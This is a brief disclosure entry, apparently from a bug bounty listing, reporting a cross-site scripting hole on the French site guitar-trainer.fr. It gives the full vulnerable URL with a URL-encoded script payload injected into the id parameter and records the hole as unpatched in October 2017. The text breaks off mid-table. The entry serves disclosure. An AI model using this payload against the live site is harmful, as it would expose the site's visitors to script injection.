guitar-trainer.fr XSS vulnerability

Vulnerable URL: http://guitar-trainer.fr/exercice/echauffement/guitare/echauffement-main-droite-alternate-picking-et-saut-de-corde/exercises.php?id=29%22%3E%3Cscript%3Ealert%270p3nBu6B0un7y%27;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.10.2017...